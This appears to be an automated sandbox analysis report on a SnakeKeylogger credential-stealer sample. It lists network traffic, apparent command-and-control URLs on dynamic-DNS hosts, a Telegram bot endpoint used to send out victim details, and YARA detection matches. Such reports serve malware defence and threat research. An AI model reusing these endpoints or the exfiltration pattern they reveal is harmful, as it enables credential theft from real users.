Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic DNS traffic detected: DNS query: api.telegram.org
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 27 Mar 2025 19:52:34 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 27 Mar 2025 19:52:42 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1256817618.0000000004B79000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2445295185.000000000042F000.00000040.00000400.00020000.00000000.sdmp, IFZCSslt.exe, 00000009.00000002.1353738607.00000000042EC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1256817618.0000000004B79000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2445295185.000000000042F000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.0000000006F31000.00000004.00000800.00020000.00000000.sdmp, IFZCSslt.exe, 00000009.00000002.1353738607.00000000042EC000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.00000000068A1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://aborters.duckdns.org:8081
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1256817618.0000000004B79000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2445295185.000000000042F000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.0000000006F31000.00000004.00000800.00020000.00000000.sdmp, IFZCSslt.exe, 00000009.00000002.1353738607.00000000042EC000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.00000000068A1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anotherarmy.dns.army:8081
Source: vbc.exe, 00000008.00000002.2449144517.0000000007110000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006A73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://api.telegram.org
Source: vbc.exe, 00000008.00000002.2449144517.00000000070E1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.0000000007102000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.00000000070F4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006A52000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006A65000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006A73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.com
Source: vbc.exe, 00000008.00000002.2449144517.00000000070E1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.0000000007102000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.00000000070F4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.0000000006F31000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006A52000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006A65000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.00000000068A1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006A73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org
Source: vbc.exe, 00000008.00000002.2449144517.0000000006F31000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.00000000068A1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1256817618.0000000004B79000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2445295185.000000000042F000.00000040.00000400.00020000.00000000.sdmp, IFZCSslt.exe, 00000009.00000002.1353738607.00000000042EC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/q
Source: vbc.exe, 00000008.00000002.2449144517.00000000070E1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.0000000007102000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.00000000070F4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006A52000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006A65000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006A73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://reallyfreegeoip.org
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1253688155.0000000003359000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.0000000006F31000.00000004.00000800.00020000.00000000.sdmp, IFZCSslt.exe, 00000009.00000002.1349053451.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.00000000068A1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1256817618.0000000004B79000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2445295185.000000000042F000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.0000000006F31000.00000004.00000800.00020000.00000000.sdmp, IFZCSslt.exe, 00000009.00000002.1353738607.00000000042EC000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.00000000068A1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://varders.kozow.com:8081
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1260567382.00000000073D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1260567382.00000000073D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.carterandcone.coml
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1260567382.00000000073D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1260567382.00000000073D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1260567382.00000000073D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/?
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1260567382.00000000073D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1260567382.00000000073D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1260567382.00000000073D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers8
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1260567382.00000000073D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers?
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1260567382.00000000073D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designersG
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1260567382.00000000073D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fonts.com
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1260567382.00000000073D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1260567382.00000000073D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1260567382.00000000073D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1260567382.00000000073D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1260567382.00000000073D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1260567382.00000000073D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1260567382.00000000073D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sajatypeworks.com
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1260567382.00000000073D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sakkal.com
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1260567382.00000000073D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.tiro.com
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1260567382.00000000073D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.typography.netD
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1260567382.00000000073D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.urwpp.deDPlease
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1260567382.00000000073D2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.zhongyicts.com.cn
Source: vbc.exe, 00000011.00000002.2454532467.0000000007B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org?q=
Source: vbc.exe, 00000008.00000002.2449144517.0000000007110000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006A73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram
Source: vbc.exe, 00000008.00000002.2449144517.0000000007110000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.0000000007018000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006A73000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006987000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1256817618.0000000004B79000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2445295185.000000000042F000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.0000000007110000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.0000000007018000.00000004.00000800.00020000.00000000.sdmp, IFZCSslt.exe, 00000009.00000002.1353738607.00000000042EC000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006A73000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006987000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot
Source: vbc.exe, 00000008.00000002.2449144517.0000000007110000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.0000000007018000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006A73000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006987000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: vbc.exe, 00000011.00000002.2449982205.0000000006A73000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006987000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:302494%0D%0ADate%20a
Source: vbc.exe, 00000011.00000002.2454532467.0000000007B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: vbc.exe, 00000008.00000002.2453736856.0000000008202000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2454532467.0000000007B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: vbc.exe, 00000008.00000002.2453736856.0000000008202000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2454532467.0000000007B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: vbc.exe, 00000011.00000002.2449982205.0000000006A0E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: vbc.exe, 00000008.00000002.2449144517.000000000709E000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006A0E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstore?hl=en4
Source: vbc.exe, 00000008.00000002.2449144517.0000000007099000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006A09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: vbc.exe, 00000011.00000002.2454532467.0000000007B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: vbc.exe, 00000008.00000002.2453736856.0000000008202000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2454532467.0000000007B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: vbc.exe, 00000011.00000002.2454532467.0000000007B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: vbc.exe, 00000011.00000002.2454532467.0000000007B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://gemini.google.com/app?q=
Source: vbc.exe, 00000008.00000002.2449144517.0000000006FF0000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.00000000070E1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.0000000006F81000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.00000000070F4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.0000000007018000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.00000000068F1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006A65000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006961000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006A73000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006987000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org
Source: b5Tu0LaQfn6bnAD.exe, 00000000.00000002.1256817618.0000000004B79000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.0000000006F81000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2445295185.000000000042F000.00000040.00000400.00020000.00000000.sdmp, IFZCSslt.exe, 00000009.00000002.1353738607.00000000042EC000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.00000000068F1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: vbc.exe, 00000011.00000002.2449982205.0000000006987000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/45.92.229.138
Source: vbc.exe, 00000008.00000002.2449144517.0000000006FF0000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.00000000070E1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.0000000007102000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.0000000006FAB000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.00000000070F4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.0000000007018000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006A52000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006A65000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006961000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.000000000691C000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006A73000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006987000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/45.92.229.138$
Source: vbc.exe, 00000008.00000002.2453736856.0000000008202000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2454532467.0000000007B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: vbc.exe, 00000008.00000002.2453736856.0000000008202000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2454532467.0000000007B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: vbc.exe, 00000011.00000002.2449982205.0000000006A3F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006A30000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.office.com/
Source: vbc.exe, 00000008.00000002.2449144517.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006A3F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.office.com/4
Source: vbc.exe, 00000008.00000002.2449144517.00000000070CA000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006A3A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.office.com/lB
Source: vbc.exe, 00000008.00000002.2449144517.00000000070C0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.office.com/x
Source: unknown Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49757 version: TLS 1.2

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 9.2.IFZCSslt.exe.4330048.3.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.IFZCSslt.exe.4330048.3.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 9.2.IFZCSslt.exe.4330048.3.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4b79b80.4.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4bbd9a0.3.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4bbd9a0.3.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4b79b80.4.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4bbd9a0.3.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4b79b80.4.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 9.2.IFZCSslt.exe.42ec228.2.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.IFZCSslt.exe.42ec228.2.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 9.2.IFZCSslt.exe.42ec228.2.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 9.2.IFZCSslt.exe.4330048.3.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4bbd9a0.3.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.IFZCSslt.exe.4330048.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4bbd9a0.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 9.2.IFZCSslt.exe.4330048.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4bbd9a0.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4b79b80.4.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.IFZCSslt.exe.42ec228.2.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.IFZCSslt.exe.42ec228.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 9.2.IFZCSslt.exe.42ec228.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4b79b80.4.raw.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4b79b80.4.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000008.00000002.2445295185.000000000042F000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000009.00000002.1353738607.00000000042EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1256817618.0000000004B79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: b5Tu0LaQfn6bnAD.exe PID: 7592, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: vbc.exe PID: 8092, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: IFZCSslt.exe PID: 8172, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Detected potential crypto function
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Code function: 0_2_01864218 0_2_01864218
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Code function: 0_2_01866F93 0_2_01866F93
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Code function: 0_2_0186D584 0_2_0186D584
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Code function: 0_2_07A50040 0_2_07A50040
